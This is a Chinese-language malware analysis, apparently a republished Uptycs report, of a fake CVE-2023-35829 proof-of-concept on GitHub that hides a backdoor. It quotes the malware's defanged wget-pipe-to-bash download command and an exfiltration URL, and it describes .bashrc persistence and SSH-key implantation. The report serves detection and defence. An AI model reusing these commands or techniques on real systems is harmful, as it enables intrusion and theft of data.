PoC 漏洞:带有后门恶意软件的虚假概念证明分析

admin 2024年10月18日22:59:56评论59 views字数 3595阅读11分59秒阅读模式
PoC 漏洞:带有后门恶意软件的虚假概念证明分析
安全研究人员依靠 PoC 通过无害测试来了解潜在的漏洞。在这种情况下,PoC 就是一头披着羊皮的狼,在无害的学习工具的幌子下隐藏着恶意。其隐藏的后门构成了隐秘、持续的威胁。作为下载程序运行,它默默地转储并执行 Linux bash 脚本,同时将其操作伪装成内核级进程。
它的持久化方法相当狡猾。它用于从源代码文件构建可执行文件,利用make命令创建kworker文件并将其文件路径添加到bashrc文件,从而使恶意软件能够在受害者的系统中持续运行。
该后门具有广泛的数据盗窃能力。它可以窃取大量数据——从主机名和用户名到主目录内容的详尽列表。此外,攻击者可以通过将 ssh 密钥添加到authorized_keys文件来获得对目标系统的完全访问权限。
尽管该恶意 PoC 已从 GitHub 中删除,但它已被广泛分享,在其邪恶本质被曝光之前就获得了广泛关注。对于执行此操作的人来说,数据泄露的可能性很高。因此,至关重要的是:
  • 删除任何未经授权的 ssh 密钥
  • 删除kworker文件
  • 从bashrc文件中删除 kworker 路径
  • 检查/tmp/.iCE-unix.pid是否存在潜在威胁
虽然区分合法 PoC 和欺骗性 PoC 可能具有挑战性,但采用安全实践(例如在隔离环境(例如虚拟机)中进行测试)可以提供一层保护。
尽管不是全新的,这种通过 PoC 传播恶意软件的趋势引起了重大担忧,而且我们很可能会看到这种策略继续发展。Uptycs 威胁研究团队在发现此类威胁方面保持警惕,从而帮助安全研究社区及时了解不断变化的网络安全风险。
揭开假 PoC 的面纱
在测试各种CVE的PoC时,我们的团队遇到了一声称解决了 CVE-2023-35829(一个严重漏洞),Uptycs XDR 检测到其异常活动。严重的违规行为表明它可能具有欺骗性,促使我们质疑其合法性。
可疑活动包括意外的网络连接、异常的数据传输和未经授权的系统访问尝试。进一步调查充实了 aclocal.m4 作为需要额外分析的初始文件。

PoC 漏洞:带有后门恶意软件的虚假概念证明分析

图 1 – PoC 存储库文件
aclocal.m4通常是automake的一部分,由autoconf用于合并宏。它通常不是这里的elf (可执行且可链接格式)文件。
图 2 显示了make如何触发src/aclocal.m4,这是本文的重点。

PoC 漏洞:带有后门恶意软件的虚假概念证明分析

图 2 – 有问题的 makefile
技术分析
二进制文件的 main 函数以一个有趣的字符串kworker开头(图 3)。

PoC 漏洞:带有后门恶意软件的虚假概念证明分析

图 3 – 二进制文件的开头
第 79 行检查二进制文件是否名为kworker。如果为 true,则流程传递到第 84 行中的else条件。如果不是,则执行两个函数,称为copy_to_kworker()和add_to_bashrc()。建立后门持久性,将当前文件复制到$HOME/.local/kworker并将其文件路径添加到$HOME/.bashrc 文件。 
为了隐藏其存在,该程序将自身嵌入到bashrc中。check_for_pidfile ()函数(图 4)有助于确保同一程序的多个实例不会同时运行。 

PoC 漏洞:带有后门恶意软件的虚假概念证明分析

图 4 – Check_for_pidfile() 函数
检查/tmp/.ICE-unix.pid路径后,如果没有函数使用flock(2)来限制文件访问,则会写入当前正在运行的进程的PID 。仅当主函数返回零 ( 0 )时程序才会继续,这表明当前进程是独占的。 

PoC 漏洞:带有后门恶意软件的虚假概念证明分析

图 5 – 主要功能的其他部分
通过fork程序来实现,在main函数中创建一个新的字符串[kworker/8:3]来掩盖原来的命令行参数。随后,父进程执行curl_func()函数,该函数使用libcurl库下载一个经过混淆的URL,因此基本的静态分析无法轻易找到它。网址为hxxp[:]//cunniloss[.]accesscam[.]org/hash[.]php;它包含一个 bash 脚本,如果 curl 请求成功,该脚本就会运行。 
(libcurl提供对curl 的编程访问;它可以直接包含在二进制文件中{静态编译}或动态调用。)

PoC 漏洞:带有后门恶意软件的虚假概念证明分析

图 6 – 摘自curl_func()

PoC 漏洞:带有后门恶意软件的虚假概念证明分析

图 7 – 下载 bash 脚本的代码部分
% s变量被curl请求输出替换,这意味着以下是kworker运行的命令:
sh -c wget -q -O - http[:]//cunniloss[.]accesscam[.]org/do[.]php?u=$(whoami) | bash 2>&1 > /dev/null
解构伪造的 PoC
这个 PoC 是从旧的、合法的概念验证Linux 内核漏洞 CVE-2022-34918。从表面上看,它似乎是一个真实的演示,配有模仿真实输出的字符串。但通过仔细检查其代码,尤其是在modprobe.c中发现的差异,这种欺骗的真实本质就会变得显而易见。fake modprobe.c
中的new_sn ()函数分配内存,尝试打开特定文件,如果成功打开则关闭该文件,生成随机数,然后暂停程序执行一段随机时间。

PoC 漏洞:带有后门恶意软件的虚假概念证明分析

图 8 – PoC 之间 modprobe.c 的比较

prepare_root_shell ()函数打印一些字符串并根据条件调用 setup_modprobe_payoad() 函数。完成这些操作后,它会以状态代码0退出。

PoC 漏洞:带有后门恶意软件的虚假概念证明分析

图 9 – 打印看上去合法的字符串的代码部分

前面提到的setup_modprobe_payoad()为filename变量赋值,然后执行/bin/sh命令来打开一个新的系统 shell。然后它释放分配给filename 的内存。

PoC 漏洞:带有后门恶意软件的虚假概念证明分析

图10 – 显示它正在伪造 shell 的代码段

总的来说,伪造的 PoC 会休眠一段随机的时间,打印看似合法的字符串,最终启动 / bin/bash shell。

奇怪的是,当在此 shell 中执行whoami时,它会错误地将用户 ID 报告为root。这种欺骗是通过利用 PoC 根 shell 内部和外部的用户命名空间 ID 的差异来实现的。

PoC 漏洞:带有后门恶意软件的虚假概念证明分析

图 11 – 列出 PoC 根 shell 内的命名空间
PoC 漏洞:带有后门恶意软件的虚假概念证明分析
图 12 – 列出 PoC 根 shell 外部的命名空间
如图 11 和 12 所示,两个 shell 之间的用户命名空间不同,这意味着它们使用两个不同的命名空间。
(Linux 内核命名空间允许隔离系统资源。每个资源都为特定资源(例如 PID、网络接口、文件系统等)提供独立的环境。这种隔离有助于防止干扰,并在运行的进程或组件之间提供一定程度的安全性)在这里
,虚假 PoC 利用命名空间概念来创建根 shell 的假象。具体来说,它操作用户命名空间,该命名空间负责管理给定进程或容器内的用户和组身份。但实际上,授予的权限仅限于/bin/bash给定命名空间内的 shell。

通过 Uptycs XDR 检测

使用 Uptycs XDR,我们检测到该二进制文件主要充当下载程序,从远程源检索脚本并在受感染的系统上执行它。执行后,下载的脚本最初访问/etc/passwd文件。然后它修改~/.ssh/authorized_keys以授予未经授权的访问权限,并使用curl通过transfer[.]sh窃取数据。与 MITRE ATT&CK 矩阵相关,这些操作的组合导致 Uptycs XDR 中的中等水平检测。 

PoC 漏洞:带有后门恶意软件的虚假概念证明分析

图13 – Uptycs XDR 检测
以下是用于窃取数据的 URL 示例:
hxxp[:]//cunniloss[.]accesscam[.]org/term[.]php[?]term[=]hxxps[:]//transfer[.]sh/rnmWbQyyz8/<用户名>[.]txt
(注:托管该脚本的域名已被删除,因此本文无法进行详细分析。)

结论

Uptycs 团队已经看到了这种作案手法早些时候; 通过恶意 PoC 传播恶意软件并不新鲜。相同的配置文件 ChriSander22 正在传播另一个针对 VMware Fusion CVE-2023-20871 的伪造 PoC。其内容与CVE-2023-35829相同,同样有aclocal.m4触发隐藏后门的安装。ChriSander22 的其他两个存储库都已关闭,但我们无法确认是 Github 还是个人资料所有者执行了此操作。

PoC 漏洞:带有后门恶意软件的虚假概念证明分析

图 14 – 虚假 CVE-2023-20871 PoC 目录

PoC 漏洞:带有后门恶意软件的虚假概念证明分析

图 15 – 假 PoC 的 Github 简介页面

PoC 漏洞:带有后门恶意软件的虚假概念证明分析

恶意存储库

https://github.com/ChriSanders22/CVE-2023-35829-poc/

https://github.com/ChriSanders22/CVE-2023-20871-poc/

https://github.com/apkc/CVE-2023-35829-poc

IOCS

文件名 sha256
aclocal.m4 caa69b10b0bfca561dec90cbd1132b6dcb2c8a44d76a272a0b70b5c64776ff6c

URLs

hxxp[:]//cunniloss[.]accesscam[.]org

hxxp[:]//transfer[.]sh

IP 81[.]4[.]109[.]16

原文始发于微信公众号(Ots安全):PoC 漏洞:带有后门恶意软件的虚假概念证明分析

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2024年10月18日22:59:56
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   PoC 漏洞:带有后门恶意软件的虚假概念证明分析https://cn-sec.com/archives/1880944.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息